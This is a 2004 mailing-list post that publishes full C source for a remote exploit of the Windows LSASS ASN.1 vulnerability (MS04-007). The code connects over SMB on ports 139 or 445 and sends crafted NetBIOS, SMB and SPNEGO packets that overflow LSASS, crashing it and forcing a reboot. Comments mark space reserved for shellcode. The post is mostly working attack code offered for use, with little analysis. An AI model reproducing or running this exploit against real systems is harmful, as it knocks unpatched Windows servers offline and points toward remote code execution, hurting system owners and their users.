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From: devine at iie.cnam.fr (Christophe Devine)
Subject: Re: Microsoft Windows ASN.1 LSASS.EXE Remote Exploit (MS04-007)
Stephen wrote:
> http://www.k-otik.com/exploits/02.14.MS04-007-dos.c.php
Apparently an early version of the exploit got somewhat leaked without
my prior knowledge. So, here is an updated version that should also work
on port 139. It was only tested with Windows 2000 Pro SP4 (fr), but may
also be successful against Windows XP; don't bother asking me for an
exploit that yields a shell.
$ cat MS04-007-dos.c
/*
* MS04-007 LSASS.EXE Win2k Pro Remote Denial-of-Service Exploit
*
* Copyright (C) 2004 Christophe Devine
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
/*
* > MS04-007-dos.exe 10.0.0.1 445
* connect failed
*
* > nbtstat -A 10.0.0.1
* [..]
* SERVER3 <20> UNIQUE Registered
* [..]
* > MS04-007-dos.exe 10.0.0.1 139 SERVER3
* > MS04-007-dos.exe 10.0.0.1 139 SERVER3
* >
*
* if the exploit works, LSASS gets killed,
* and after 1mn the server reboots.
*
*/
//#define WIN32
#ifdef WIN32
#include <winsock2.h>
#include <windows.h>
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#include <stdio.h>
/****************************************************************/
unsigned char netbios_sess_req[] =
/* NetBIOS Session Request */
"\x81\x00\x00\x44"
"\x20\x45\x45\x45\x46\x45\x47\x45\x42\x46\x46\x45\x4D\x46\x45\x43"
"\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43"
"\x41\x00"
"\x20\x45\x45\x45\x46\x45\x47\x45\x42\x46\x46\x45\x4D\x46\x45\x43"
"\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x41"
"\x41\x00";
/****************************************************************/
unsigned char negotiate_req[] =
/* NetBIOS Message Type + Length & SMB Header */
"\x00\x00\x00\xB3"
"\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x08\x01\xC8\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\x03\x00\x00\x02\x00"
/* Negotiate Protocol Request, actually sniffed from smbclient */
"\x00\x90\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F\x52\x4B\x20\x50"
"\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02\x4D\x49\x43\x52"
"\x4F\x53\x4F\x46\x54\x20\x4E\x45\x54\x57\x4F\x52\x4B\x53\x20\x31"
"\x2E\x30\x33\x00\x02\x4D\x49\x43\x52\x4F\x53\x4F\x46\x54\x20\x4E"
"\x45\x54\x57\x4F\x52\x4B\x53\x20\x33\x2E\x30\x00\x02\x4C\x41\x4E"
"\x4D\x41\x4E\x31\x2E\x30\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x44\x4F\x53\x20\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31"
"\x00\x02\x53\x61\x6D\x62\x61\x00\x02\x4E\x54\x20\x4C\x41\x4E\x4D"
"\x41\x4E\x20\x31\x2E\x30\x00\x02\x4E\x54\x20\x4C\x4D\x20\x30\x2E"
"\x31\x32\x00";
/****************************************************************/
unsigned char setup_request[] =
/* NetBIOS Message Type + Length & SMB Header */
"\x00\x00\xCC\xCC"
"\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x08\x01\xC8\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\x03\x00\x00\x03\x00"
/* Session Setup AndX Request */
"\x0C\xFF\x00\x00\x00\xFF\xFF\x02\x00\x01\x00\x00\x00\x00\x00\xCC"
"\xCC\x00\x00\x00\x00\x5C\x00\x00\x80\xCC\xCC";
/* Security Blob: SPNEGO OID + ASN.1 stuff */
unsigned char security_blob[] =
/* Application Constructed Object + SPNEGO OID */
"\x60\x82\xCC\xCC\x06\x06\x2B\x06\x01\x05\x05\x02"
/* negTokenInit + Constructed Sequence */
"\xA0\x82\xCC\xCC\x30\x82\xCC\xCC"
/* mechType: NTLMSSP OID */
"\xA0\x0E\x30\x0C\x06\x0A\x2B\x06\x01\x04\x01\x82\x37\x02\x02\x0A"
/* reqFlags that should trigger the overflow */
"\xA1\x05\x23\x03\x03\x01\x07"
/* mechToken: NTLMSSP (room for shellcode here) */
"\xA2\x82\xCC\xCC\x04\x82\xCC\xCC"
"\x4E\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x15\x02\x08\x60"
"\x09\x00\x09\x00\x20\x00\x00\x00\x07\x00\x07\x00\x29\x00\x00\x00"
"\x57\x4F\x52\x4B\x47\x52\x4F\x55\x50\x44\x45\x46\x41\x55\x4C\x54";
/* Native OS & LAN Manager */
unsigned char other_stuff[] =
"\x00\x55\x00\x6E\x00\x69\x00\x78\x00\x00\x00\x53\x00\x61\x00\x6D"
"\x00\x62\x00\x61\x00\x00\x00";
/****************************************************************/
int main( int argc, char *argv[] )
{
unsigned char buf[4096];
struct hostent *server_host;
struct sockaddr_in server_addr;
int i, len, server_fd, n1, n2, n3;
#ifdef WIN32
WSADATA wsa;
/* initialize windows sockets */
if( WSAStartup( MAKEWORD(2,0), &wsa ) )
{
fprintf( stderr, "WSAStartup failed\n" );
return( 1 );
}
#endif
if( argc != 3 && argc != 4 )
{
fprintf( stderr, "usage: %s <target hostname> "
"<port> [netbios name]\n",
argv[0] );
return( 1 );
}
/* resolve the server hostname and connect */
server_host = gethostbyname( argv[1] );
if( server_host == NULL )
{
fprintf( stderr, "gethostbyname(%s) failed\n", argv[1] );
return( 1 );
}
memcpy( (void *) &server_addr.sin_addr,
(void *) server_host->h_addr,
server_host->h_length );
sscanf( argv[2], "%d", &i );
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons( (unsigned short) i );
server_fd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );
if( server_fd < 0 )
{
fprintf( stderr, "could not create socket\n" );
return( 1 );
}
len = sizeof( server_addr );
if( connect( server_fd, (struct sockaddr *)
&server_addr, len ) < 0 )
{
fprintf( stderr, "connect failed\n" );
return( 1 );
}
if( argc == 4 )
{
/* encode the Called NetBIOS Name */
len = sizeof( netbios_sess_req ) - 1;
memcpy( buf, netbios_sess_req, len );
memset( buf + 5, 'A', 32 );
for( i = 0; i < (int) strlen( argv[3] ); i++ )
{
buf[5 + i * 2] += argv[3][i] >> 4;
buf[6 + i * 2] += argv[3][i] & 15;
}
for( ; i < 16; i++ )
{
buf[5 + i * 2] += 0x20 >> 4;
buf[6 + i * 2] += 0x20 & 15;
}
/* 1. NetBIOS Session Request */
if( send( server_fd, buf, len, 0 ) != len )
{
fprintf( stderr, "send(NetBIOS Session Request) failed\n" );
return( 1 );
}
if( recv( server_fd, buf, sizeof( buf ), 0 ) <= 0 )
{
fprintf( stderr, "recv(NetBIOS Session Response) failed\n" );
return( 1 );
}
if( buf[0] == 0x83 )
{
fprintf( stderr, "NetBIOS Session rejected "
"(wrong NetBIOS name ?)\n" );
return( 1 );
}
}
/* 2. Negotiate Protocol Request */
len = sizeof( negotiate_req ) - 1;
if( send( server_fd, negotiate_req, len, 0 ) != len )
{
fprintf( stderr, "send(Negotiate Protocol Request) failed\n" );
return( 1 );
}
if( recv( server_fd, buf, sizeof( buf ), 0 ) <= 0 )
{
fprintf( stderr, "recv(Negotiate Protocol Response) failed\n" );
return( 1 );
}
/* 3. Session Setup AndX Request */
memset( buf, 'A', sizeof( buf ) );
n1 = sizeof( setup_request ) - 1;
n2 = sizeof( security_blob ) - 1;
n3 = sizeof( other_stuff ) - 1;
memcpy( buf, setup_request, n1 );
memcpy( buf + n1, security_blob, n2 );
n2 += 2000; /* heap padding for shellcode */
memcpy( buf + n1 + n2, other_stuff, n3 );
len = n1 + n2 + n3;
buf[ 2] = ( ( len - 4 ) >> 8 ) & 0xFF; /* NetBIOS msg length */
buf[ 3] = ( ( len - 4 ) ) & 0xFF;
buf[51] = ( n2 ) & 0xFF; /* Security Blob Length */
buf[52] = ( n2 >> 8 ) & 0xFF;
buf[61] = ( ( n2 + n3 ) ) & 0xFF; /* Byte Count (BCC) */
buf[62] = ( ( n2 + n3 ) >> 8 ) & 0xFF;
buf[n1 + 2] = ( ( n2 - 4 ) >> 8 ) & 0xFF; /* ACO Length */
buf[n1 + 3] = ( ( n2 - 4 ) ) & 0xFF;
buf[n1 + 14] = ( ( n2 - 16 ) >> 8 ) & 0xFF; /* negTokenInit Length */
buf[n1 + 15] = ( ( n2 - 16 ) ) & 0xFF;
buf[n1 + 18] = ( ( n2 - 20 ) >> 8 ) & 0xFF; /* Constr. Seq. Length */
buf[n1 + 19] = ( ( n2 - 20 ) ) & 0xFF;
buf[n1 + 45] = ( ( n2 - 47 ) >> 8 ) & 0xFF; /* mechToken Length */
buf[n1 + 46] = ( ( n2 - 47 ) ) & 0xFF;
buf[n1 + 49] = ( ( n2 - 51 ) >> 8 ) & 0xFF; /* String Length */
buf[n1 + 50] = ( ( n2 - 51 ) ) & 0xFF;
if( send( server_fd, buf, len, 0 ) != len )
{
fprintf( stderr, "send(Session Setup AndX Request) failed\n" );
return( 1 );
}
recv( server_fd, buf, sizeof( buf ), 0 );
shutdown( server_fd, 2 );
return( 0 );
}
EOF
--
Christophe Devine - http://www.cr0.net:8040/about/
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